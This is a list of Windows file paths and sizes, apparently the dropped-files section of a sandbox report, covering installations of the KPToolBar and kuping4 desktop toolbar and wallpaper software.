C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\google_btn.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\hide\bg.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\logo.png (588 bytes)
C:\KPToolBar\skinConfig\Default\DesktopToolBarPop.ini (699 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\news.png (196 bytes)
C:\KPToolBar\skinConfig\Default\DeskRelevance.ini (210 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\line.png (944 bytes)
C:\KPToolBar\skinConfig\Default\ui\ToolGames\tip.png (392 bytes)
C:\KPToolBar\kt_Mini.exe (157 bytes)
C:\KPToolBar\skinConfig\Default\DesktopToolBarSetting.ini (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\edit.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\clear.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\bg.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\bg2.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\360.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\play.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\ListBg.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\ICON_Desktop.png (1 bytes)
C:\KPToolBar\skinConfig\Default\tips.ini (450 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@config.153624[1].txt (191 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Bar_V.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\radio.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\ICON_Disk.png (1 bytes)
C:\KPToolBar\Uninstall\installedSoftInfo.ini (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanResult\SR_Img_Choice.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\1.png (1176 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\BKGND.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\prompt_sure.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\google.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\3.png (980 bytes)
C:\KPToolBar\skinConfig\Default\ui\Tips\Toolnote3.png (784 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\set_3.png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6614913107\skinconfig\ĬÈÃÂÂ\MsgBox_1.ini (729 bytes)
C:\KPToolBar\skinConfig\Default\ui\hide\Thumbs.db (4 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\ie.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\scroll_bar.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6614913107\skinconfig\ĬÈÃÂÂ\ui\msgbox\btn_known.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\select.png (1 bytes)
C:\KPToolBar\Kp_BootClr.exe (1137 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\game.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\ying.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\HideBtn.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\bg.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Bar_H.png (962 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\add_pic.jpg (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\sorry.png (392 bytes)
C:\KPToolBar\skinConfig\Default\ToolGames.ini (912 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\Thumbs.db (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Img_CloseButton.png (1 bytes)
C:\KPToolBar\softset.ini (1713 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\pic.png (1 bytes)
C:\KPToolBar\Update\SkinResource\CheckUpdate.png (1 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\check-box_focus.png (991 bytes)
C:\KPToolBar\skinConfig\Default\ui\IeMenu\baidu.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Down_H.png (1 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\up.png (160 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\lijiuninstall.png (784 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Slider_H.png (982 bytes)
C:\KPToolBar\KPToolBar.exe (4292 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\like.png (2 bytes)
C:\KPToolBar\skinConfig\DesktopToolBarBZInfo.ini (43 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\shop.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\2.png (1176 bytes)
C:\KPToolBar\skinConfig\Default\ui\hide\show2.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\op_41.tmp (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\stat[1].php (1163 bytes)
C:\KPToolBar\uninstall.exe (2733 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\skinconfig.ini (91 bytes)
C:\KPToolBar\Kpclick.ini (38 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\close.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\set_2.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\About\sure.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\baidu_btn.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6614913107\skinconfig\TongJICNZZ.dll (1333 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\open.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\using.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\CheckBox.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Img_CTing.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\baidu_logo.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\jia.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\sougou.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\IeMenu\360.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\close.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\default_pic.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Up_V.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\Thumbs.db (784 bytes)
C:\KPToolBar\skinConfig\Default\ui\menu\set_3.png (1 bytes)
C:\KPToolBar\skinConfig\so.xml (2 bytes)
C:\KPToolBar\Update\SkinResource\Point.png (1 bytes)
C:\KPToolBar\ExpandPackCheck.exe (1725 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBar\download.png (2 bytes)
C:\KPToolBar\skinConfig\Default\ui\MyBZ\Thumbs.db (784 bytes)
C:\KPToolBar\Uninstall\skinConfig_un\Default\ui\Uninstall\check-box.png (540 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\ement.png (3 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\bg.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\AddAPP\mini.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Up_H.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\AddPicDlg\Img_CTDir.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\Tips\180x130-game.png (784 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\focus.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\time_bar.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\ICON_Folder.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\ICON_RecentLook.png (751 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\dotted.png (967 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSetting\set_1.png (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6614913107\skinconfig\ĬÈÃÂÂ\ui\msgbox\bg_small.png (2 bytes)
C:\KPToolBar\version.ini (44 bytes)
C:\KPToolBar\skinConfig\Default\ui\imagelist\Wyst\ScanDlg\Img_Scan.png (196 bytes)
C:\KPToolBar\skinConfig\Default\ui\DesktopToolBarSearch\baidu_logo1.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\slected.png (1 bytes)
C:\KPToolBar\skinConfig\Default\ui\kpBZ\seach.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6614913107\LZMA.dll (68 bytes)
C:\KPToolBar\skinConfig\DesktopToolBarSearchInfo.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\My-resources\list-screen.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\bg_focus.png (327 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\LocalManagement_Layer.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\bg-6.png (210 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\delete.png (486 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\My-resources\list-mause.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\management.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\computer.png (1568 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\aboutme-text.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\DownloadWebDlg\delete.png (960 bytes)
C:\kuping4\TempDownLoad\Home\11272.jpg (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\image-bg.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\recover.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\update-button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\button-skin-add.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\CenterDlgConfig\UploadImageLayer.ini (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\tick_fcous.png (714 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\cancel-button.png (1 bytes)
C:\kuping4\kpTopBar_b_8.exe (296445 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\min.png (338 bytes)
C:\kuping4\TempDownLoad\UserLive\tempfile\userlive.xml (480 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\notice\sure_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\cursor\right.cur (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\feedback\1111.png (199 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\serch-bg.png (161 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\cancel-button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\bg_di.png (306 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\RegisterSkin.ini (693 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\scroll_block.png (95 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\update.png (556 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\blue.png (307 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\explain.png (559 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\add-app-bg_02.png (523 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\DownloadWebDlg\scroll-bg.png (305 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\SkinInfo.ini (19 bytes)
C:\kuping4\TempDownLoad\Home\11276.jpg (392 bytes)
C:\kuping4\kuping_v4.exe (5620 bytes)
C:\kuping4\Kp_BootClry.exe (1137 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\My-resources\left-bck.png (1 bytes)
C:\kuping4\SystemConfig\setting.ini (255 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\share.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\notice\notice.png (1 bytes)
C:\kuping4\Appsoftconfig\image\clear.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\skin_bg_02.png (791 bytes)
C:\kuping4\UniversalFunction.dll (4840 bytes)
C:\kuping4\Appsoftconfig\image\ielogo.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\login_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\progress\progress_bg.png (283 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\kupingbg-03_01.png (784 bytes)
C:\kuping4\Uninstall\StartMenu.exe (24 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\Conventional-set.png (988 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\attention.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\My-resources\list-icon.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\list-pause.png (669 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\bg-3.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\max.png (157 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\App.png (868 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\x.png (943 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\lijixiufu.png (784 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\bg-2.png (1 bytes)
C:\kuping4\TempDownLoad\StartUp\tempfile\StartUp.xml (784 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\scroll_deck.png (175 bytes)
C:\kuping4\MSGBoxSkin\UI\stop_button.png (1 bytes)
C:\kuping4\Appsoftconfig\image\buttoncmd.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\kp4.2flash_01.png (791 bytes)
C:\kuping4\Update\SkinResource\CheckUpdate.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\Default-recovery_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\tooltipUi\bg_02.png (4 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\center-line.png (128 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\collection.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\bg.png (341 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\theme.png (196 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\Uninstall.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IconListEx\cancel.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\album.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\SettingMenuDlgConfig\UpDateMenu_Layer.ini (1 bytes)
C:\kuping4\MSGBoxSkin\MSGBoxSkin.ini (2 bytes)
C:\kuping4\MSGBoxSkin\UI\delete.png (486 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\My-resources\list-Screen-saver.png (196 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\bg_02.png (1765 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\mainsub.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\progress.png (107 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\MouseNavigation_Layer.ini (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\search.png (681 bytes)
C:\kuping4\KPUpdater.dll (3439 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\smile.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\re-choice.png (371 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\tooltipUi\delete.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\help.png (633 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\home.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\My-resources\list_wallpaper.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\mause.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\lefr_bg.png (194 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\SettingMenuDlgConfig\ApplicationMenu_Layer.ini (3 bytes)
C:\kuping4\QuickenFunctionConfig\Management\status.ini (161 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\mainsub.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\newcreat-bg.png (171 bytes)
C:\kuping4\Update\SkinResource\Minimize.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\Modify-head.png (922 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\progress\iconlist_bg.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\¿áÆÃÂÂ4.0flash_02.png (414 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\tick.png (227 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\UpdateNotice\bg_top.png (984 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\CenterDlgConfig\TailorHeadImageLayer.ini (1 bytes)
C:\kuping4\TempDownLoad\Home\11273.jpg (588 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\UpdateNotice\sure_button.png (1 bytes)
C:\kuping4\KpInstallTheme.exe (1764 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\update-online_botton.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\silent_download.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\newcreat-focus.png (214 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\progress_focus.png (190 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\focus.png (222 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\theme-max.png (1529 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\application\icon_focus.png (483 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\failRefresh.png (382 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\about\logo_s.png (970 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\add.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\MenuSetConfig.ini (48 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\tooltipUi\cut_button-ato.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\MainSkin.ini (697 bytes)
C:\kuping4\Universal\Soft\softset.ini (78 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\CenterDlgConfig\tag.ini (205 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\kupingbg-03_02.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Personal-center.png (196 bytes)
C:\kuping4\MSGBoxSkin\UI\retry_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\cursor\left.cur (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\tag-line.png (108 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\notMulti.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\help_icon.png (730 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\error.png (544 bytes)
C:\kuping4\Universal\skinConfig.rar (980 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\silder.png (363 bytes)
C:\kuping4\VersionConfig.xml (1060 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\notcheak.png (391 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\feedback\bg.png (1372 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\logo.png (970 bytes)
C:\kuping4\getnew.exe (1960 bytes)
C:\kuping4\SpecialSubject.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\progress\cancel.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\down.png (178 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\SkinCenter.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\CenterDlgConfig\MainSkin.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\loading.png (196 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\jindutiao.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\line.png (109 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\reg-btn.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\focus-bg.png (107 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\UpdateNotice\notchoose.png (879 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\aboutme.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\progress\progress_bg1.png (258 bytes)
C:\kuping4\TempDownLoad\UserLive\version.ini (29 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\application\scroll_thumb.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\install-button.png (1 bytes)
C:\kuping4\QuickenFunctionConfig\Management\ManagementCommerce.xml (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\white.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\skin_bg_03.png (421 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\delete.png (1 bytes)
C:\kuping4\info.ini (16 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\login_bg.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\log-bckhead.png (4 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\tui-chu.png (232 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\tooltipUi\application.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\close.png (2 bytes)
C:\kuping4\Appsoftconfig\image\buttonclear.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\delete.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\AppDlgConfig\MainDlgSkin.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\loading.png (2 bytes)
C:\kuping4\Uninstall\skinConfig_un\ĬÈÃÂÂ\ui\Uninstall\advert.png (980 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\bg_top.png (984 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\NoticeDlgSkin.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\line_w.png (91 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\UpdateNotice\pro.png (338 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\SkinCenterDownload.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\notMulti.png (912 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\IconsFolderNavigation_Layer.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\loading.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\UpdateNotice\delete.png (486 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\myBaoku.png (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\ImageLook\load.png (3 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\install_icon.png (971 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\Personal-information\cover.png (109 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_3F\LZMA.dll (68 bytes)
C:\kuping4\TempDownLoad\TagInfo\list_win7.xml (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\daohang\title-bg.png (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KP_3F\skinconfig\installedSoftInfo.ini (1952 bytes)
C:\kuping4\Universal\UniversalMiniSkin\ĬÈÃÂÂ\ui\mini\bg.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\set.png (522 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\ImageLook\bg_nf.png (588 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\download.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\list-bg.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\kankan.png (1921 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\SkinCenter\skin.png (629 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\color\green.png (324 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\tooltipUi\bg_01.png (708 bytes)
C:\kuping4\MSGBoxSkin\UI\success.png (2 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\UpdateNotice\choose.png (883 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\Login_Layer.ini (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\Menu\new-bg.png (274 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\bg-5.png (214 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\newUi\news.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\IndivCenter\upload\upload_button.png (588 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\progress\progress_bg2.png (182 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\slice\sure_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\login\ui\bg.png (784 bytes)
C:\kuping4\TempDownLoad\Home\11279.jpg (392 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\meihua.png (196 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\ui\UpdateSkin\scroll_thumb.png (744 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\list\page.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\about\sure_button.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\application\scroll_block.png (763 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\ui\DownloadWebDlg\notice-bg.png (1 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\UpdateNetError.ini (633 bytes)
C:\kuping4\skinConfig\ĬÈÃÂÂ\UpdateUi\UpdateDownloadPage.ini (592 bytes)
